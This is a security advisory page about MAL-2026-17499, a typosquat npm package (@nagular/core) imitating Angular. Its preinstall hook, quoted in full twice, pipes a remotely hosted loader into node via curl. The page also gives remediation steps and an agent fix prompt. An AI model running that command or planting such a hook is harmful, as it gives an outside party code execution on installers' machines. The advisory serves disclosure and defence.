# MAL-2026-17499: Malicious code in @nagular/core (npm)


- **Type:** Malicious package
- **Package:** `@nagular/core` (npm)
- **Published:** 3 Oct 2026

## What is MAL-2026-17499?

MAL-2026-17499 is a malicious package in @nagular/core, published on 3 Oct 2026. 

### Official description

@nagular/core@1.0.67 impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package's package.json declares a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from an unrelated third-party host (gitflic.ru proxied through web.archive.org) and piping it directly to node for execution during `npm install`. The remote content runs with the installer's privileges before any package code is imported or reviewed, giving whoever controls that URL arbitrary code execution on every machine that installs the package. The remote path `hellscripter/install-scripts` and the use of an archive proxy are consistent with a hostile dropper rather than a legitimate build step. The scope name `@nagular/core` additionally resembles the Angular ecosystem (`@angular`), consistent with a typosquat lure, and the preinstall hook is the package's only functional content.

## What should I do about MAL-2026-17499?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17499 is a malicious package: @nagular/core (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17499/ (Markdown: https://insights.sbomify.com/MAL-2026-17499/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17499

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-17499/
Summaries are generated and may contain mistakes; the official description above is the record.
